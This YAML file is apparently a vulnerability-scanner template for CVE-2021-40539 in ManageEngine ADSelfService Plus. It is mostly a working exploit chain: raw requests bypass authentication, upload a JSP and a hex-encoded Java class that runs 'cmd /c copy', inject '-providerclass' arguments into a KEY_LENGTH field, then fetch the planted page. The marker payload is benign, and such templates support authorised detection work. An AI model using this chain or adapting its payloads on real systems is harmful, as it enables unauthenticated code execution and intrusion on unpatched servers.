120 lines
5.3 KiB
YAML
120 lines
5.3 KiB
YAML
id: CVE-2021-40539
|
|
|
|
info:
|
|
name: Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution
|
|
author: daffainfo,pdteam
|
|
severity: critical
|
|
description: Zoho ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass vulnerability that can lead to remote code execution.
|
|
remediation: Upgrade to ADSelfService Plus build 6114.
|
|
reference:
|
|
- https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis
|
|
- https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
|
|
- https://github.com/synacktiv/CVE-2021-40539
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40539
|
|
- https://www.manageengine.com
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-40539
|
|
cwe-id: CWE-706
|
|
epss-score: 0.97402
|
|
epss-percentile: 0.99898
|
|
cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:4.5:4510:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
vendor: zohocorp
|
|
product: manageengine_adselfservice_plus
|
|
tags: cve,cve2021,rce,ad,intrusive,manageengine,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /./RestAPI/LogonCustomization HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458
|
|
|
|
--8b1ab266c41afb773af2e064bc526458
|
|
Content-Disposition: form-data; name="methodToCall"
|
|
|
|
unspecified
|
|
--8b1ab266c41afb773af2e064bc526458
|
|
Content-Disposition: form-data; name="Save"
|
|
|
|
yes
|
|
--8b1ab266c41afb773af2e064bc526458
|
|
Content-Disposition: form-data; name="form"
|
|
|
|
smartcard
|
|
--8b1ab266c41afb773af2e064bc526458
|
|
Content-Disposition: form-data; name="operation"
|
|
|
|
Add
|
|
--8b1ab266c41afb773af2e064bc526458
|
|
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"
|
|
|
|
<%@ page import="java.util.*,java.io.*"%>
|
|
<%@ page import="java.security.MessageDigest"%>
|
|
<%
|
|
String cve = "CVE-2021-40539";
|
|
MessageDigest alg = MessageDigest.getInstance("MD5");
|
|
alg.reset();
|
|
alg.update(cve.getBytes());
|
|
byte[] digest = alg.digest();
|
|
StringBuffer hashedpasswd = new StringBuffer();
|
|
String hx;
|
|
for (int i=0;i<digest.length;i++){
|
|
hx = Integer.toHexString(0xFF & digest[i]);
|
|
if(hx.length() == 1){hx = "0" + hx;}
|
|
hashedpasswd.append(hx);
|
|
}
|
|
out.println(hashedpasswd.toString());
|
|
%>
|
|
--8b1ab266c41afb773af2e064bc526458--
|
|
- |
|
|
POST /./RestAPI/LogonCustomization HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b
|
|
|
|
--43992a07d9a30213782780204a9f032b
|
|
Content-Disposition: form-data; name="methodToCall"
|
|
|
|
unspecified
|
|
--43992a07d9a30213782780204a9f032b
|
|
Content-Disposition: form-data; name="Save"
|
|
|
|
yes
|
|
--43992a07d9a30213782780204a9f032b
|
|
Content-Disposition: form-data; name="form"
|
|
|
|
smartcard
|
|
--43992a07d9a30213782780204a9f032b
|
|
Content-Disposition: form-data; name="operation"
|
|
|
|
Add
|
|
--43992a07d9a30213782780204a9f032b
|
|
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="Si.class"
|
|
|
|
{{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}}
|
|
--43992a07d9a30213782780204a9f032b--
|
|
- |
|
|
POST /./RestAPI/Connection HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22
|
|
- |
|
|
GET /help/admin-guide/test.jsp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "114f7ce498a54a1be1de1f1e5731d0ea" # MD5 of CVE-2021-40539
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100c1336baf2f3b50483e6c971a4f45a1ff68e6653c86a5d62779db0110e419a417022100d32f0db244890240679b9732e8774addaf72831823053aaa36083c1034690893:922c64590222798bb761d5b6d8e72950
|